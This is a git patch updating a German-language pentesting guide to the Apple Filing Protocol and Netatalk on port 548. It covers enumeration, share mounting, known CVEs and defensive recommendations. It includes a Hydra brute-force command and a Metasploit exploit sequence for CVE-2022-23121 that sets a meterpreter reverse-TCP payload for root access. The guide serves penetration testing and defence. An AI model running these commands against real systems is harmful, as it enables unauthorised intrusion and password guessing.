From 5d02c9f6afca3052126266888635eba00e3b774d Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 14 Aug 2025 03:06:43 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/584-pentesting-afp.md'] to --- .../584-pentesting-afp.md | 110 +++++++++++++++--- 1 file changed, 96 insertions(+), 14 deletions(-) diff --git a/src/network-services-pentesting/584-pentesting-afp.md b/src/network-services-pentesting/584-pentesting-afp.md index 2c8202519..f9a37a8e9 100644 --- a/src/network-services-pentesting/584-pentesting-afp.md +++ b/src/network-services-pentesting/584-pentesting-afp.md @@ -4,27 +4,109 @@ ## Grundlegende Informationen -Das **Apple Filing Protocol** (**AFP**), früher bekannt als AppleTalk Filing Protocol, ist ein spezialisierter Netzwerkprotokoll, das im **Apple File Service** (**AFS**) enthalten ist. Es wurde entwickelt, um Dateidienste für macOS und das klassische Mac OS bereitzustellen. AFP zeichnet sich durch die Unterstützung von Unicode-Dateinamen, POSIX- und Zugriffssteuerlistenberechtigungen, Ressourcen-Forks, benannten erweiterten Attributen und ausgeklügelten Dateisperrmechanismen aus. Es war das Hauptprotokoll für Dateidienste in Mac OS 9 und früheren Versionen. +Das **Apple Filing Protocol** (**AFP**), früher bekannt als AppleTalk Filing Protocol, ist ein spezialisiertes Netzwerkprotokoll, das innerhalb des **Apple File Service** (**AFS**) enthalten ist. Es wurde entwickelt, um Dateidienste für macOS und das klassische Mac OS bereitzustellen. AFP zeichnet sich durch die Unterstützung von Unicode-Dateinamen, POSIX-ähnlichen und ACL-Berechtigungen, Ressourcen-Forks, benannten erweiterten Attributen und ausgeklügelten Dateisperrmechanismen aus. -**Standardport:** 548 +Obwohl AFP in modernen macOS-Versionen von SMB abgelöst wurde (SMB ist seit OS X 10.9 der Standard), trifft man es immer noch an in: + +* Legacy macOS / Mac OS 9 Umgebungen +* NAS-Geräten (QNAP, Synology, Western Digital, TrueNAS…), die den Open-Source **Netatalk** Daemon einbetten +* Gemischten OS-Netzwerken, in denen Time-Machine-over-AFP weiterhin aktiviert ist + +**Standard TCP-Port:** **548** (AFP über TCP / DSI) ```bash -PORT STATE SERVICE -548/tcp open afp +PORT STATE SERVICE +548/tcp open afp ``` -### **Enumeration** +--- -Für die Enumeration von AFP-Diensten sind die folgenden Befehle und Skripte nützlich: +## Aufzählung + +### Schnelles Banner / Serverinfo ```bash -msf> use auxiliary/scanner/afp/afp_server_info -nmap -sV --script "afp-* and not dos and not brute" -p +# Metasploit auxiliary +use auxiliary/scanner/afp/afp_server_info +run RHOSTS= + +# Nmap NSE +nmap -p 548 -sV --script "afp-* and not dos" ``` -**Skripte und deren Beschreibungen:** +Nützliche AFP NSE-Skripte: -- **afp-ls**: Dieses Skript wird verwendet, um die verfügbaren AFP-Volumes und Dateien aufzulisten. -- **afp-path-vuln**: Es listet alle AFP-Volumes und Dateien auf und hebt potenzielle Schwachstellen hervor. -- **afp-serverinfo**: Dies liefert detaillierte Informationen über den AFP-Server. -- **afp-showmount**: Es listet verfügbare AFP-Freigaben zusammen mit ihren jeweiligen ACLs auf. +| Skript | Was es tut | +|---------------------|-------------------------------------| +| **afp-ls** | Listet verfügbare AFP-Volumes und Dateien auf | +| **afp-brute** | Passwort-Brute-Force gegen AFP-Login | +| **afp-serverinfo** | Gibt Servername, Maschinentyp, AFP-Version, unterstützte UAMs usw. aus | +| **afp-showmount** | Listet Freigaben zusammen mit ihren ACLs auf | +| **afp-path-vuln** | Erkennt (und kann ausnutzen) Verzeichnisdurchquerung, CVE-2010-0533 | -### [**Brute Force**](../generic-hacking/brute-force.md#afp) +Das NSE-Brute-Force-Skript kann mit Hydra/Medusa kombiniert werden, wenn mehr Kontrolle erforderlich ist: +```bash +hydra -L users.txt -P passwords.txt afp:// +``` +### Interacting with shares +*macOS* +```bash +# Finder → Go → "Connect to Server…" +# or from terminal +mkdir /Volumes/afp +mount_afp afp://USER:[email protected]/SHARE /Volumes/afp +``` +*Linux* (unter Verwendung von `afpfs-ng` ‑ in den meisten Distributionen verpackt) +```bash +apt install afpfs-ng +mkdir /mnt/afp +mount_afp afp://USER:[email protected]/SHARE /mnt/afp +# or interactive client +afp_client +``` +Sobald gemountet, denken Sie daran, dass klassische Mac-Ressourcen-Forks als versteckte `._*` AppleDouble-Dateien gespeichert werden – diese enthalten oft interessante Metadaten, die DFIR-Tools übersehen. + +--- + +## Häufige Schwachstellen & Ausnutzung + +### Netatalk nicht authentifizierte RCE-Kette (2022) + +Mehrere NAS-Anbieter lieferten **Netatalk ≤3.1.12**. Ein Mangel an Grenzkontrollen in `parse_entries()` ermöglicht es einem Angreifer, einen bösartigen **AppleDouble**-Header zu erstellen und **remote root** vor der Authentifizierung zu erlangen (**CVSS 9.8 – CVE-2022-23121**). Ein vollständiger Bericht von NCC Group mit PoC, das Western-Digital PR4100 ausnutzt, ist verfügbar. + +Metasploit (>= 6.3) liefert das Modul `exploit/linux/netatalk/parse_entries`, das die Nutzlast über DSI `WRITE` bereitstellt. +```bash +use exploit/linux/netatalk/parse_entries +set RHOSTS +set TARGET 0 # Automatic (Netatalk) +set PAYLOAD linux/x64/meterpreter_reverse_tcp +run +``` +Wenn das Ziel eine betroffene QNAP/Synology-Firmware ausführt, führt eine erfolgreiche Ausnutzung zu einer Shell als **root**. + +### Netatalk OpenSession Heap Overflow (2018) + +Ältere Netatalk-Versionen (3.0.0 - 3.1.11) sind anfällig für einen Out-of-Bounds-Schreibvorgang im **DSI OpenSession**-Handler, der nicht authentifizierte Codeausführung ermöglicht (**CVE-2018-1160**). Eine detaillierte Analyse und ein PoC wurden von Tenable Research veröffentlicht. + +### Weitere bemerkenswerte Probleme + +* **CVE-2022-22995** – Symlink-Umleitung, die zu beliebigem Dateischreiben / RCE führt, wenn AppleDouble v2 aktiviert ist (3.1.0 - 3.1.17). +* **CVE-2010-0533** – Verzeichnisdurchquerung in Apple Mac OS X 10.6 AFP (erkannt durch `afp-path-vuln.nse`). +* Mehrere Speicher-Sicherheitsfehler wurden in **Netatalk 4.x (2024)** behoben – es wird empfohlen, ein Upgrade durchzuführen, anstatt einzelne CVEs zu patchen. + +--- + +## Verteidigungsempfehlungen + +1. **Deaktivieren Sie AFP**, es sei denn, es ist unbedingt erforderlich – verwenden Sie stattdessen SMB3 oder NFS. +2. Wenn AFP bleiben muss, **aktualisieren Sie Netatalk auf ≥ 3.1.18 oder 4.x** oder wenden Sie die Firmware des Anbieters an, die die Patches von 2022/2023/2024 zurückportiert. +3. Erzwingen Sie **starke UAMs** (z. B. *DHX2*), deaktivieren Sie Klartext- und Gastanmeldungen. +4. Beschränken Sie TCP 548 auf vertrauenswürdige Subnetze und wickeln Sie AFP in ein VPN, wenn es remote exponiert ist. +5. Scannen Sie regelmäßig mit `nmap -p 548 --script afp-*` in CI/CD, um rogue / downgraded Appliances zu erkennen. + +--- + +### [Brute-Force](../generic-hacking/brute-force.md#afp) + +## Referenzen + +* Netatalk-Sicherheitsberatung CVE-2022-23121 – "Beliebige Codeausführung in parse_entries" +* Tenable Research – "Exploiting an 18-Year-Old Bug (CVE-2018-1160)" {{#include ../banners/hacktricks-training.md}}